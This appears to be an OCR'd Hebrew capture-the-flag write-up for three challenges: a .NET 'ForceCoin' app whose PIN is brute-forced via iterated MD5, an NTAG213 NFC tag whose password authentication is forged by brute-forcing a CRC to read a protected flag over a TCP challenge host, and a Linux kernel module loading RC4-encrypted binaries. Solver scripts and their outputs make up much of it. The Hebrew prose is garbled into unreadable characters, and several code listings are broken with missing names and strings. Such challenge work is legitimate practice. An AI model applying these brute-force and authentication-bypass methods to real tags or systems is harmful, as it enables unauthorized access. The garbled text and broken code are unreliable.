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Reversing

ForceCoin :nv

150 :Tip1

Our agent from the field has obtained a few files related to a
program that is used by a terrorist organization!

This zip contains the program and a db file.
We need your help parsing the db!

Give it your best, we heard that they use it and that it might
contain some intresting information for you!

Good Luck !!

:JNNo

‘D'¥Ap NWI7Y 0'72M IR DT 1ANK]
e ForceCoin.exe
e db.txt.enc
e ForceCoinTransactionSigner.dll.enc
N'ONLIX QW'D NIY¥AKD .J'VI7NY7 WA DNW Xl Hex Editor- enc-n '¥ap v piam
N'ONUVINNY 1PN - D'ONDNIPN IN DYIONIN DAY 7'01 ,N7RN D'¥172 D'NAN NIAYONN 7V NINIANNI
NN9N Ypanw ,Xan 1700 DX AR ForceCoin NIX YIN7 N0 .AT'NAXK 'R NIA79NNNI NN

:NN90 4 7va

o5 PinCode — O ot

d-digits pin code

Enter

2V L1780 D'Y¥aR7 xoni'T niwy? 7aionw L lISpy Y751 wnnwa D7 ,.NET-2 anda ForceCoin.exe

UOTIN NNONN NN ['AN71 INIK WIND'7 NI017 NIn
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R irh¥rhY

private DoMD5 ( input)

{

return
BitConverter.ToString (MD5.Create () .ComputeHash (Encoding.ASCII.GetBytes (input))) .
Replace ( 7 ) ;

}

private RijndaelManaged GetCryptoAlgorithm()
{
return new RijndaelManaged
{
Padding = PaddingMode.None,
Mode = CipherMode.CBC,
KeySize = 128,
BlockSize = 128
}i
}

public [] StringToByteArray ( hex)
{
return (from x in Enumerable.Range (0, hex.Length)

where x & 2 == 0
select Convert.ToByte (hex.Substring(x, 2), 16)).ToArray();

DecryptFile ( [1 k, input, output)

[] array = File.ReadAllBytes (input) ;

_ = .Empty;
using MemoryStream memoryStream = new MemoryStream() ;

using (CryptoStream cryptoStream = new CryptoStream

memoryStream, GetCryptoAlgorithm() .CreateDecryptor (k, k),
CryptoStreamMode.Write)

cryptoStream.Write (array, 0, array.Length);
}
File.WriteAllBytes (output, memoryStream.ToArray());
}

private buttonCheckPin Click (object sender, EventArgs e)
{
text = richTextBoxPinCode.Text;
if (text.Length != 4)
{
richTextBoxPinCode.Text =
return;

= text;
= text;
0; 1 < 10; i++)

= DoMD5 (text?2) ;
DoMD5 (text3) ;

3 =0; jJ < 10; j++)

text2 = DoMDb5 (text2) ;

StringToByteArray (text3) ;
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DecryptFile (k,

DecryptFile (k, 0
AppForm appForm = new AppForm() ;
Hide () ;
appForm.ShowDialog () ;
Close();
}
}
catch (Exception)
{
}

richTextBoxPinCode.Text =

NN NIwn ,0mys 20 MD5 'y awnn ,nNonn NX 7apn ForceCoin-w N1 ,TIgn 7y Naynn
D'¥27N NN NS XIN ,0'Y DX DN DNI ,D3114BCC2E5C58BBAC77F04237723D92-7 nXXINN

.0my9 10 NN9nN 7y 2WInw MD5 NIYy¥NX2 DROXINN

:NN9NN 1Y NIMWORND NI'YOIND 7D NN N1017 ' n7wn [IN''S TI? 2INd]

from itertools import product
import hashlib
import string

TARGET =

def (pin) :
for in range(20):
pin = hashlib.md5 (pin) .hexdigest () .upper ()
return pin

with open(
enc data = f.read(16)

for pin in product(string.digits, repeat=4):
pin = ''.join (pin)
if calc(pin) == TARGET:
print pin
break

® ni? .1,y

D'DWN DX NUWNY?I [ISpy niv¥nxa ForceCoin MR 2277 N0 DX .AIW'NA N'WOW NI 710

NNONNI ,NYON TIV'NNY X' DYOIR TIY .02TN MR DNY DR L,17W 090N 7In DY D'7apnny

...TA'72 nnvon N 7'on

Innonn NX 11727 ...NdN1 YN ,string.letters Da qron

5cRt
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o5 ForceCoin

Sender |

Redphntl

What |

Push Transaction

Pop Transaction

Sign Current Block

List Blocks

4
0
3
4

Bob -> Alice [
£623e75af30e62bbd73d6df5b50bb7b5,
4eefl3c0cb7c79813c798278770edcl8,
00e04£f724e7a688bba85591f41cabc6o,
3e2396c3ffcbceaf2cceb4dl21lcddbec,
5ddlel36eed6c8d7b3c05aedf806827¢e,
9401clb5e67a9a0165473e929451bl406,
5d4cd43fef5d09¢c9a897a2d197c0e430,
7ed760dcf05e798ddf2aead4d7518c8c26,
8e6e0d7£59dcbad7032301475d2c3cb5,
e4aa532750a50837317716711b2dabdc,
993d21619£f85c27c7cbl54edbdelbde?,
7Tebb03bd0b04ccd4do6dcdc8cd4£f48207dab,
obacb7e544d2545fef9462c340caddd2,
9d885972903cbd5e8b69a9942693¢c659,
347c3c0d886a55671ch5a826fbfacblal,
228f416e2b0618bc895df5aal5b056a6,
01489e6fc5c3489d£f27077365¢c807beb,
1d39e3b97181079£5c2d37de0£d21d50]
Alice -> Bob [
8d9c307cb7f3cd4a32822a51922dlceaa,
b7e7f2b46723f5b08d763041108f8fed,
Alice -> Bob [
5dbc98dcc983a70728bd082d1ad47546e,
2341fcf59582cb2b44168£f1b477bc850,
140208bb60fc3f70ealbd068701030425]
Bob -> Alice [
£186217753¢c37b9%909£958d906208506¢e,
d4£59¢cb9d92b06b80311ccf98a6cl36e9,
b11794fedf37354635£9dcdfddlea%86,
91f43049eb069al6c64e8cb7b97d5350]

Sender

Recipient What

:db.txt yalzn 7'on nn NIXAY 7221 'wdy ,qoin

0567953871b1bf5890797d9%b178d5a94,
b8aa853d4a02f1024e92ec3626deb27f,
d29f£39e8237020708859fd83de7358b,
€93c0298d07705f4ea95116361fba84d,
0c18777da528d26b0ba37d240£5bd850,
4c305f18aa3ae7d854dab77edc862be?2,
4d8561461499e594d7bc0f6£3239cc98,
835f17bad47e4f10ec822331db625a441,
259d482498d9f2dae6d96dc3b343a908,
£f07799cfed61de05a6327¢5195f33a1d,
e3e58f791778f6f20d745c5e6f0ae62f,
92cc27585fefclc21342415bbobobe5f,
eaffb62£530c3266d1106d880ad620ee,
24d27068f5de2bbad9b5acf38c97be2b,
85ffb85440a4ce7880a278ef0393b449,
ad692bc711e46264c4b7dad956fabce3,
8b29%bb17d2c92b480bclbc2ea6l11037a,

bafd7322c6e97d25b6299b5d6£e8920b,
€6662662a3£90aa497566c9b4a32£f2£7]

e2e0ab9c9510bf61£fd17296bae8d3d24,
2d80c7¢c603f99¢c429891d40e30bf391d,

8021f7e4b05dadalad3d47567e52249e,
20809e9ce9cfa9bcec5c7cl57596be8e,
4bbbcb9c0429b23818385e2aaa7’78eba3,
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...Hash m> nix11 X7x ,NI'7RI0070 X7 [N NIYTINN 72X ,[NW7D NIYTIN 70 RINW DX

Yy wiornn Y RIXN? DR an N7 ' 7213 Diwxkan 0'Hash-n TNR DX wonM)
-0 DX N7 ."D" vopLN 7V MD5 Hash NnXa NTW nXM ,f623e75af30e62bbd73d6df5b50bb7b5
'01 ."Do" vopunn van KNl ,bl1bf589b797d9b178d5a940567953871 ,nn'w1a Nan Hash

JINMRD AVTINN 7Y IN-1IN Awinny Hash oxya N N'RY NIYVTINNY

((Yalpnn nNNIMm NNIY Nz'Nn NKY) ¥ V970 NIYXARA NIYTINN DX NIYD7 701

import hashlib
import string
import re

def (curr, target):
for ¢ in range (0, 256):
c = chr (c)
guess = curr + c
if hashlib.md5 (guess) .hexdigest () == target:
return c

return

() :
with open ( , 'r') as f:
enc_msgs = [re.findall ( , X.rstrip()) for x in
f.readlines () ]

for enc msg in enc msgs:
dec msg =
for_msghash in enc_msg:
dec msg += get next char (dec msg, msghash)
print dgcimsg B B .

7271 pn NKYI
Do you have another message for me?
Nope
Sorry
Oh Well************************
Yes
What is it?
A Secret
Message?
Yes
flag{L3mOn-SqueeZy}

Message?
Talk To Alice

22T NN 7y LD DX

flag{L3mOn-SqueeZy}
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NFC :nvw

200 :TipM

Our target adopted a new way to keep sensitive information! They use secure NFC tags to keep secure and confidential
information inside them.

We managed to place a strong NFC reader near our target’s secret NFC tag. Now we want to communicate with the that
tag and extract the secret information from it.

In order to connect to our reader and send commands to the tag, you just need to open a TCP socket to:
nfc.shieldchallenges.com 80

Each message you send on this socket will be transferred to the NFC tag, and the response from the tag will be sent back to
you on that same socket.

In addition, our sources equipped us with some information that may help you to communicate with the tag and extract the
secret information fromit:

1. A secret document from our target (attached).
2. An authentic message sent to the NFC tag. Due to alow signal, we managed to extract only 5 bytes from the

message. The message is presented below (X stands for an unknown nibble).
1BXXXXBEAF4930
3. The secret information you need to extract is located somewhere in the memory space of the tag, and its size is

16 characters.

Good luck! We trust you!

:JNNo

flag-n nx AWN7 nan v |No'T NHP'? n¥11 110 ,NFC an NN NIY 111197 TAy ,NANKND JIR'NN

AR DN7WIY NP7N QYTINE NN 710 MIYRN YXAT7 TXD INNNN 01910 072 1R 90112
DT NNd 0'7an IR ,019NN NRMEN

(12w V19NN NTI NTAG213 AI0N KINANN

The dedicated NFC tag will have an NTAG213 chip (made by NXP™) , as specified in
https://www.nxp.com/docs/en/data-sheet/NTAG213 215 216.pdf

MW niwnimn NTAG213 7w NIMpon D X7 e

1. We removed some command capabilities from the tag, such as the WRITE and READ_CNT
commands.

MO0 MIVN YTNN7 7D Mwn e

2. We added a new line to table 23 in the specification:

Code (4-bit) ACKINAK
6h MNAK for unsupported command

2021 2"2awn-PWN I RE ManN |NNa
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NNP'OINIXK K77 N2 WNNWN? |NY ,GET_CFG DWA nWTN NTIRO NO0INN
3. We added a new command:

GET_CFG

The GET_CFG command is used to retrieve the configuration bytes defined on the
specific NTAG213.

This command can be used without any authentication.

The GET_CFG command has no arguments and replies the the values of CFGO
and CFG1 for the specific NTAG21x type. The command structure is shown

below.
NFC davics CRC

NTAG  ACK" | CFGO I CFG1 I CRC |
283 s e Tack A BEd us .

NTAG , NAK" MAK

T
» < | STus
Trimetut
Tirme aut - L a 22000587
FigY. GET_CFG comumand

TableY. GET_CFG command

Name Code Description Length
Cmd 66h Get configuration bytes 1 byte
CRC - CRC according to Ref. 1 2 bytes
CFGO - Value of CFG 0 4 bytes
CFG1 - Value of CFG 1 4 bytes
NAK See Table 23 See Section 9.3 4-hit

2NN Dy MIvpna wniwnn CRC-n 2DyTn e

In addition, as a result of our discussion about the CRC calculation, I add a clarification regarding
this issue:

ISO 14443 refers to CRC_A and CRC_B described in ISO 13239, The initial register value shall be
0x6363 or 0xC6CH in reversed bit order. Polynomial is 0x1021 and no final XOR is done. CRC
result value should be reflected to least significant bit (LSB) and little-endian byte order.

727N .CRC-2 0NN 17O NX 1907 NVXAY PNt R'T L Little Endian-2 nirn'? 7"y CRC-nw 17 D'w
DI CRC-N NN 1MNAY YT D - NMYUNN |'PN VTN 7277 n'7xn? KIn NIYY7 1w [IvxrIn

XTOINIR DYAIT N K'Y 1H'DN TN Nypna 117 N1y GET_CFG nThoN

.0'knnin CRC-n NX awn? n7D'w crccheck owa n'7'an xx¥na ,"python CRCA" 7w 'nn 71a1an
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NI1772 MWD DY WWEN7 Nn 7Y pwntools N"1901 wnnwa ,q011a

from pwn import *
from crccheck.crc import CrcA

def (msqg) :
crc = CrcA()
crc.process (bytearray (msg) )
return str (crc.finalbytes())

(msg) :
global p

msg = str (msg) + calc crc(msg)
p.send (msqg)

return p.recv ()

():
global p

p = remote (
send msg ('

2R

python solve.py DEBUG

MYnnNn AXan NMIYnNn NKX I71|7:II

[+] Opening connection to nfc.shieldchallenges.com on port 86: Done

[ ] Sent 8x3 bytes:
00000000 66 57 | fw- |
OoEooO3

] Received 8x1 bytes:
00000000 |- |
00000001
Closed connection to nfc.shieldchallenges.com port 80

NNIN XXN1,NIIYNN DX AN7 NIn 2y NTAG213 7w 01900 DX X122 107 11'9'¥w naiwnn X7 17

23 n7a0a
9.3 NTAG ACK and NAK
NTAG uses a 4 bit ACK / NAK as shown in Table 23.

Table 23. ACK and NAK values

Code (4-bit) ACKINAK

Ah Acknowledge (ACK)

ah MAK for invalid argument (i.e. invalid page address)
1 MAK for parity or CRC error

4h MAK for invalid authentication counter overflow

Sh MAK for EEPROM write error

2021 2"awn-PWN | RE Manx [NNa
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"N |I7'N Y¥21 ?Big Endian-2 IMIX N'TNn n'M90n 71N .CRC-2 'WOW NN

return str(crc.finalbytes()) -> return str(crc.finalbytes()[::-1])

NYNN NXAN NMIYNN NX I73.|7JI ,AIW Y]
[+] Opening connection to nfc.shieldchallenges.com on port 8@: Done
[ ] Sent 0x3 bytes:
00000000 66 57 | f-w|
EOPOEOe3

] Received @xa bytes:
ole]elaleloTal] 24
ole]elalelo ok
[*] Closed connection to nfc.shieldchallenges.com port 80

© ann oy Wwpn? nN7xnY nX

22 0720 v "avnn flag-n DX 7227 T aND W ND'TY DR RNPY XN DIWY7 QX1 XaD 12T
9N TV NIdNNIN NITIRON DX XN ,NTAG213 7w 0v19na

9.1 NTAG21x command overview

All available commands for NTAG21x are shown in Table 22.

Table 22. Command overview

Command[il ISONEC 14443 NFC FORUM Command code
(hexadecimal)
Request REQA SENS_REQ 26h (7 bit)
Wake-up WUPA ALL_REQ 52h (7 bit)
Anticollision CL1 Anticollision CL1 SDD_REQ CLA 93h 20h
Select CLA Select CL1 SEL_REG CLA1 93h 70h
Anticollision CL2 Anticollision CL2 SDD_REQ CL2 a5h 20h
Select CL2 Select CL2 SEL_REQ CL2 a5h 70h
Halt HLTA SLP_REQ 50h 00h
GET_VERSIONE - - 60h
READ - READ 30h
FAST_READEI - - 3AR
WRITE - WRITE AZh
COMP_WRITE - - Alh
READ_CNTE - - 3o9h
PWD_AUTHE - - 1Bh
READ_SIGE . - 3Ch
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nonNn ININA N7W VNIISN NX X¥N1 .(READ) [IN2'TN 7w ARM K'N DDMY NNIXY NTIE9oN

10.2 READ

The READ command requires a start page address, and retumns the 16 bytes of four
MTAGZ21x pages. For example, if address (Addr) is 03h then pages 03h, 04h, 05h, 06h are
returned. Special conditions apply if the READ command address is near the end of the
accessible memory area. The special conditions also apply if at least part of the
addressed pages is within a password protected area. For details on those cases and the
command structure refer to Figure 16 and Table 29.

Table 30 shows the required timing.

NFCdevice | Cmd | Adar | CRC |
NTAG , ACK" | Data crRe |
68 s Tack 1548 ps |
NTAG , MAK"
Truas | 57 pe |
Time out TTimeOut | Asa-DOSGRE
Fig 16. READ command
Table 29. READ command
Name Code Description Length
Cmd 30h read four pages 1 byte
Addr - start page address 1 byte
CRC - CRC according to Ref. 1 2 bytes
Data - Data content of the addressed pages (16 bytes
MNAK see Table 23 see Section 9.3 4-bit

:0x2C NIN W|71'7 |N1IY NI2a 'dN page-n¥ nX1 ,q0102

In the initial state of NTAG21x, all memory pages are allowed as Addr parameter to the

READ command.

* page address 00h to 2Ch for NTAG213

VYPTOININ ANKY 77 NNPZ AWON [N NIAIND v TanY [Nvl

The following conditions apply if part of the memory is password protected for read

acCcess:

* if NTAGZ21x is in the ACTIVE state
- addressing a page which is equal or higher than AUTHO results in a NAK response

- addressing a page lower than AUTHO results in data being returmed with the
roll-over mechanism occurring just before the AUTHO defined page

* if NTAGZ21x is in the AUTHENTICATED state
- the READ command behaves like on a NTAG21x without access protection

11
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TN MW D ,4 7w NIx'9pa) 0x2C Ty 0-n D'page-n 72 X K'Y )2 117W UOIPON NK D'RN)

():
global p

:(DVv9 75 n'page 4-n yTn

remote (

for i in range (0,
send msqg ('

x4
30

] Sent
[elelalelalotals]
peeoee04d

] Received
[elelelelalolale)
[o]cTe e Lol hNe]
poedee12

] Sent
00000000
peppReR4

] Received
PEOROORO
[eJelalela]eone

] Sent
[elelalelalotals]
[olelalelalo ok

] Received
[elelelelalolale)
peeRee01

x4
30

x4
30

0x2C + 1, 4):

JMNX N7wWO11 0x20 190N page TV NN'7¥N NRMIZNY DX

bytes:
20

0x12 bytes:

54 68 65 20 73 65 63 72 65 74 20 69

bytes:
24 24

0x1 bytes:

bytes:

28

£0

48

0x1 bytes:

NYTINN DX 1727 ,)17woN 197w 17 D'

The secret is:

.0x04 172y ,IMNKI

X"T ,"NAK for invalid authentication" n'mon n72'7w naNNY nXI 23 07201 AW PIT)

N'X'OINIXR 1QVX'D N7 [1on n7wm NRPNY

.22 07207 TN, 1BXXXXBEAF4930 ,Nanxn N7'NNA 1727w N'R'7nn nyTIinn 7V 21w 70n0)

In7w 0'na v 17 omon X ,PWD_AUTH n'¥7'0INIRN NTIRO XN 1727 nyTINNY X1 n7102

12
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NTIEON NNT

10.7 PWD_AUTH

A protected memory area can be accessed only after a successful password verification
using the PWD_AUTH command. The AUTHO configuration byte defines the protected
area. It specifies the first page that the password mechanism protects. The level of
protection can be configured using the PROT bit either for write protection or read/write
protection. The PWD_AUTH command takes the password as parameter and, if
successful, returns the password authentication acknowledge, PACK. By setting the
AUTHLIM configuration bits to a value larger than 000b, the number of unsuccessful
password verifications can be limited. Each unsuccessful authentication is then counted in
a counter featuring anti-tearing support. After reaching the limit of unsuccessful attempts,
the memory access specified in PROT, is no longer possible. The PWD_AUTH command
is shown in Figure 22 and Table 39.

Table 40 shows the required timing.

NFC device | Cmd Pwd l CRC
WTAG  ACK" PACK CRC
623 s Tack 359 ps
NTAG , MAK" MAK
Traagk 57 ps
Time out TTimeCu aaa-0i5T10
Fig 22. PWD_AUTH command
Table 39. PWD_AUTH command
Name Code Description Length
Cmd 1Bh password authentication 1 byte
Pwd - password 4 bytes
CRC - CRC according to Ref. 1 2 bytes
PACK - password authentication acknowledge |2 bytes
MAK see Table 23 see Seclion 9.3 4-hit

D'NAN Y ,17TAY7 .NN0'oN YW DIIYXIN D'NAN Y 117 DN0N ,NTIE9N N1an 7V nininnnn
72 X N011 .0"M0NN 0NN NX KIXAT7 117 WORNYW NN ,nTIRoN 7w CRC-N NX D'7'DN DRINNKN

1M CRC-7 nnwal nx'mn nyTinn 7w CRC-n NN 2AwN1 ,00NN D'NAN 7Y NI'NWOKRN
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190N page-7 NNPN NYWPA NXR N7w1,91027 '0Monn 0NN DK 1IR¥N ,0MNIN 0-CRC-N 1w DX

:flag-n Nx 7'onw 0x24

from pwn import *
from crccheck.crc import CrcA

def (msqg) :
crc = CrcA()
crc.process (bytearray (msg) )
return str(crc.finalbytes () [::-1])

(msg) :
global p

msg = str (msg) + calc crc(msg)
p.send (msqg)

return p.recv ()

() :
msg = '\x1B'
for i in range (2**16) :
if calc crc(msg + pl6 (i)
return msg + pl6 (i) +

():
global p

p = remote (

auth msg = find pwd()
send msg (auth msg)
send msg (' 30\x24")

__name___
main ()

RXINN

Opening connection to nfc.shieldchallenges.com on port 88: Done
] Sent 8x7 bytes:
00000000 24 68 | -$h
poepeva7
] Received 8x4 bytes:
elelofelelelole] 33
poepesn4d
] Sent 8x4 bytes:

poppeReR 30 24 24 |0$$
[olelelalalol kS
] Received 0x12 bytes:
0ePEEEEe 66 6C 61 67 7b 47 30 5f 4d 31 6e 31 6f 6e 24 7d flag|{Ge |Mlnl 0n$}|
poeoeele |
poeveelz2
[*] Closed connection to nfc.shieldchallenges.com port 8@

AT

flag{GO_M1n1onS}
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ShabaKernel :nw

350 11,

This binary is not an elf. So what is it?
Load the .ko file and find out...
Use the image:

http://uec-images.ubuntu.com/releases/focal/release-20201210/

Good luck!

INno

21N LNID X 1ND NXTI K7W app.magen Yall ,'011'7 12T KINY ,loader.ko yal n'7apnm X

COffset(h) 00 01 02 03 04 05 06 OT7 08 0% Q& OB OC OD OE OF Decoded text
QOQ0O0000 4D 41 47 45 4E 19 06 00 00 52 2F €2 €% €E 2F €2 MAGEN....R/bin/b
QDD0O0010 &1 73 &8 52 2F 62 69 BE 2F 70 &% EE €7 52 2F €2 ashR/bin/pingR/b
QDDO002Z0 &% EE 2F €7 72 €5 TO 52 2F 75 73 72 2F €2 €9 EE in/grepRfusr/bin
QDOO0030 2F 74 €5 €C 6E €5 T4 52 2F 73 €2 €9 6E 2ZF €% €E StelnetR/sbin/in
65 74 52 2ZF T3 62 €9 €E 2F €% 6E 73 €D &F €4 52 itR/sbin/insmodR
S 3D CT 85 T3 AZ €3 ©F CC D& BT 8B CT 22 74 oE Z=§_5£EDiE'<§‘tn
L5 AD 8D 4E B7 EC 1D 91 EC EO C& 33 A7 21 1A FAR ¥..M-i.‘'iakEog!.a
47 25 88 B3 08 4B 93 3L 4D 23 OF E3 DS 4E 8F F7 G%"3 . K™ :M#zilN.:

D' 4 ' DNINR ,MAGEN nTnnnn NX 0'7'o>n 0RIYRIN DN 5-nw NIkYY 70,1171 vann
n¥IN '¥aP7 DMl nn'wn 0NNk (D' 0x0619) app.magen yalpn 7w 7TR7 omknnv

.|9¥IN NXNIY YT D 1NXI LR NIRD NIYXARA D' T9IN linux-2 D"VITIVO

o712 DMA™MT D AN Y L Ubuntu 7w '9'¥90 image-2 wnNWN? 117 1NIX DA NANKRD

5.4 N0NA2 0117 YN D727 1IRY image-N .N'9'¥D0 72777 NONA 7Y 71 0¥ 079NN

[AT2 .magen 10N NXN '¥ap 1Y loader wnnn loader.ko-w 1120 ,NanKN 7w NIN'MINE DWN 7712
Taly RINO'R an? noini LIDA-Q loader.ko MR NN91 ,0'RNNN Image-n X DTN 1IRY
Spn 7w nnfknNnn NoNan 7w D'Source-1 WNNWI N9 17 ITY7 D

https://elixir.bootlin.com/linux/v5.4.54/source
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Mame

update_path

Iist c4
n load_magen_hinary
D' magen_tmkt

 tuild_key

TANN .dnit.text VINA02 KXN1 XIN D N0 NNIN) AT NI'WLVA K7 loader_init-w N
D2'MTN WNNWA X7 loader_clean-1 L(init-n ANKY? DN7W (ND'TA IR NWY  [NIY - NEYI9
:loader_init 7w npan
__int64 loader_init()
_fentry__ ():
_register_binfmt (Bmagen_fmt, ALL):

return BLL;
}

TN AXIN 0NI9Y7 handler DIWN? NMWORNW N9 IT - _register_binfmt-7 nxMp nn''p

.app.magen 7 UNIIBN DX NT,N7W NN

["mayn X7 XIn yad1,1 I 0 NirnY? 712'w 1o0ni struct linux_binfmt 01910n nInwn n7apn nxaion
n'-struct NNTANN 72 IR 7' .h yalp ArTa) TR AT Struct-2 1T 7T NN NYT? N¥N NN

:Ctrl-F9 niy¥nx2 IDA-7 INIX (YOI ,|N2 7Ny

linux binfmt {
list head 1lh;
module *module;
(*load binary) ( linux binprm *);

(*load shlib) ( file *);
(*core dump) ( coredump params *cprm) ;
min coredump;

D'0I9'0N 72 NX NN X7 IDA D ,NRavA I7|7]'1'] ATAM XINY 1IN 21T struct-n NN |IDU'7 N0l DX

.(struct list_head ,Xn21T7) DN wnnwn struct-nw

712y void* ,XNAIT?) D'RNN 77122 INK 121N 01902 0MIN K70 D'0I9'VN NN §'7NN72 79N01 YAd
|2 struct list_head NX N'9'¥50 .7d2 X AR DX J2A'RN 7W MMXN 019'0N NKX 1T, (D'Y'axXn
M7 0121W NN KIN INXY struct-n W 7TIA0 TR - yaxn X7 XN N'ON' VIYD 019'0 AT D 1T

1220 7 TIAN DX NYT? 72211 K7 nrmmnn NN 22l linux_binfmt
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:D'0I19'0N '11'Y INNY

list head {
list head *next, *prev;

linux binfmt {
list head 1lh;
* module;
(*load binary) ( * linux binprm) ;
(*load shlib) ( * file);
(*core dump) ( * cprm) ;
min coredump;

NTAN NN 17'K NIRYYT 211 Nl L (linux_binfmt) n'&xnnn 019'02 magen_fmt NX DA 1T

; linux_bintmt magen_
magen_fmt linux binfmt <<8>, offset this module, offset load magen hinary,

.struct linux_binprm* 019'un nInwn N7apn X'l Lload_magen_binary X' N1Mynn n'¥21190 TX

D'019'07 0'D2I0N D'0I9'V NO7NN INXYT AW ,117W h-n YaIRP? NTH 019'VN 7Y NNTANN NIK DA §'0I]
v #ifdef o"p Nt struct-n 7w NNTADD 902 .DTANN DX V07 DNRw nan 7y Dloiwoe
NITY 7% NyT? "1 ATam ifdef-n (x86) N7w NILFLVDANA DX ['AN7 0Y¥) .CONFIG_MMU

.arch/x86/Kconfig yaljpa TRUE-D> 1 Tam |p CONFIG_MMU-w NIXYY? 7211 .struct-7 011007

Jload_magen_binary NX w97 'wnn? 7311 - n'¥j197 100190 7Y 019'0N NX 117 W'WD NVd

:linux_binprm 7¢ M TANQ NETYW NIWON NN NPTAN LAY MIYKIN NP TaN

file size = »{ DWORD x)&params->buf[5] <= 8u;
v19[8] = 6LL;

if ( file_size )
return 4294967288LL;

NIX DAX"AY 11'RW) D' 4 NXIZ L YAz N7'nNa MAGEN NTnnnn 7y Na7m np'Tany nxl

TIPN INY 17w 0IVRVO DY NTIN N'¥PAON ,8-7 NIY IR 7ITA IXIP R'NW 7TIa0 DK, (Yarrn 77
(TIP-1T1092) 2 AR N'Y7I9

params->p = vm_mmap(0x2000);

kmem = kmalloc(file_size);

build_key(&params->buf[9], ...);

code_size = file_size - 9 - uninitialized_var;

kernel read(params->file, kmem, code_size, uninitialized_var + 9);

stateless_rc4(...);

code_addr =vm_mmap(code_size);

copy_to_user(code_addr, kmem, code_size);

$ 0 N o Uk W N

start_thread(..., code_addr, params->p);
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NI'XPADYT NINIIX'N NIRNP [N DNIPAHD DIYRADNT,IAMTA 7Y DIENRAID [N NIZINOD NIFY2I9N TWUND
,NN2AIT?) 20NID 72 7 NIynwNnn DX An71 [07Y Nn'MNN DX WONY7 0Y710' NNIX ,ynun - NIy

.(start_thread-1 copy_to_user-7 NnIX"j7nn Nyan code_addr, code_size DXUN19N 7w Niynwnn

NIYs7? NNON X' ,TIPN JY [N'T YP7RN 12T - N2 T AR TIEN YDV TV TR LMPIR
- IND NI7RY NRW [TV X .N1Y Thread Wx1* 910171 (stateless_rc4) Tizn X nyon ,(build_key)

?0"'NN NIYNYN NN ?uninitialized_var Nt nn ?2awinn nnsnn 'R

DINYN W'y NI0 IDA |N2 Daw 17 D0'W ,(stateless_rcd IX build_key) Niyjzaion nNxY 0121 DX

((DMITXN D INWNN) D'7NNINA DI'RY

- -1
vig
w( QWORD x)a2 = BLL;
»{ QWORD x) {a2 + 8)
»{ WORD x) {a2 + 16)
if { *al )

return BxFFFFFFFFLL;
if { %a2

return OxFFFFFFFFLL;
if { =a1 *= 82
return BxFFFFFFFFLL;
UF = -

(DHORD %) kmalloc( + 1, 3264LL);

DMVO™ANA D'NXNI DAY NN (27000 ?NI0NN) D'R¥N) N7RN DINWNN ' 7¢ NPT INRY
9 NnMNn DX 121 NN X7 IDA-W nk1DD Lfastcall Nxa1dipa 4 qon1o1 3 2UN1O - RDX-1 RCX

RIIDTAIDND 7v nn'MNa DNIX q'on 'Dnon9 Y TIY n'nrm DXV N'NlL,N'Y7119N

IYON .0MUNION NIYNYN NX ['AN7n 7'NN1 .07y stateless_rc4-1 build_key 'R ["an? 1 2nin
DUNI9N 7Y YIN'YNI NNTaNN ,stateless_rcd-1 build_key-7 Nk jzn 7y nniannn NRT NIWYY

Dn7v

key = kmem_cache_alloc_trace{kmalloc_caches[5], OxCCOLL, 18LL);

if ( tkey )

{

BEL_15:
kfree(kmem) ;
goto LABEL _16;

}
if { {unsigned int)build_key({
&params->buf[9].
key,
{_int64 x) {(unsigned 1nt)( ( DWORD x)&params->buf[5] -
{_int64 x)&skip _size) == -
|| {file = params->file,
some_size = x{_DWORD x)&params->buf[5] + -9 - skip_size,
offset = skip_size + 9LL,
vi8 = some_size,
some_size ?'= kernel _read({file, kmem, some_size, &offset))
|| {stateless_rcd{key, 18LL, kmem, some_size},
code_addr = vm_mmap(6LL, BLL, some_size, 7LL, 2LL, BLL),
code_addr > OxFFFFFFFFFFFFFOBOLL) )
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‘apm build_key-w NN
(?TanI MAGEN - o'ma 9) Headers-n 2y a'7*T nNX Lyalpn DX 7Onw 19xa7 yaxn L1
.R nIxn oy D'TI9MY 0'-linux-n DMINI1AN NITANN N7'NNY7 y'avn y'avnn
rc4 7w nwMoNI rcd NUXRAI9YT 10NI9d NAIY) NNO9NN DX 7D'w ,0'MA 18 7T1Iaa |Nd'17 yaaxn .2
(NNON> 1 D'YNNYNAW DX ,NMTO 7' ININAY DNMTRYT? IRIYNI
Headers-n 7y a17'T ANKNY7 yalzn DR 7'o0W 19811 WX 710 .3
(kernel_read-7 offset- 12a1v) A777 wr 1'2u1 X7 build_key-w 77120 NX 70'w 099 Cone 4
.DIPY PR DAY ) L,DTTONNA red NIOXN YW DNMIAYNYT stateless_rc4 DX NwWN? Da 721
:DN stateless_rc4 7w DMLVNION
(build_key 7' 2y 7nnixn) nnon? yaxn .1
(o'ma 18) nnonn 712 .2
nys? v N>t .3
NYo? w'w |Nd'th 7T1a .4
N9 TIV? ARNP W build_key Jima .nnonn nX awnn build_key @'t 'R 1an? 70 nn
1OX17 Yxn 0NN N7apn K'N.N1an? NLuIve non' X' update_path nwa N
[NW VODIXA D'NA 18 11NN DRI LYAIPN DX NNNID X' LYAIPA VoI YAl DY ,(NN9NN NR11D)
.(NNONN NIN IYRIN 10NN IR L|D7) [IWRIN 10N19N 7w 0'NAN 18 Dy DNIXK Mol N7
__int64 _ fastcall update_path{BYTE xkey buffer, char xfilename, unsigned int offset)
{
unsigned int6d file; }! rax MAPDST
BYTE =xfile buffer; /! rax MAPDST
unsigned int eStatus; /] er14
__int64 i; }} rax
int64 offset_1; }! [rsp+6h] [rbp-38h] BYREF
unsigned int64 cookie; [/ [rsp+8h] [rbp-28h]
cookie = _ readgsqword{0x28u)
offset_1 = offset;
file = filp_open{filename, OLL, OLL);
if {( file > 8xFFFFFFFFFFFFFOOBLL )
return {unsigned int)-1;
file buffer = {BYTE x)kmem cache _alloc_trace{kmalloc caches[5], OxCCOLL, Ox12LL);
if { file buffer )

eStatus = -1;
if { kernel_read({file, file_buffer, 18LL, Roffset_1) == 18 )

for { 1 = BLL; i %= 18; ++i )
key buffer[i] "= file buffer[i]:
eStatus = 6;

}
kfree{file buffer);

}

else
eStatus = -1;

filp close{file, BLL);
return eStatus;
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TTI 111092 .11y build_key 'K '2n% 77 ,nwiIv update_path nn D'wTI* IRWD NWd
1. key="\x00"* 18;
2. offset =0x5117
3. forfilename in filenames separated by R, until the letter Z:
a. update_path(key, filename, offset)
b. offset +=0x11

:app.magen-2 NN"PY Nn'wIn YAy X'T

R/bin/bashR/bin/pingR/bin/grepR/usr/bin/telnetR/sbin/initR/sbin/insmodRZ

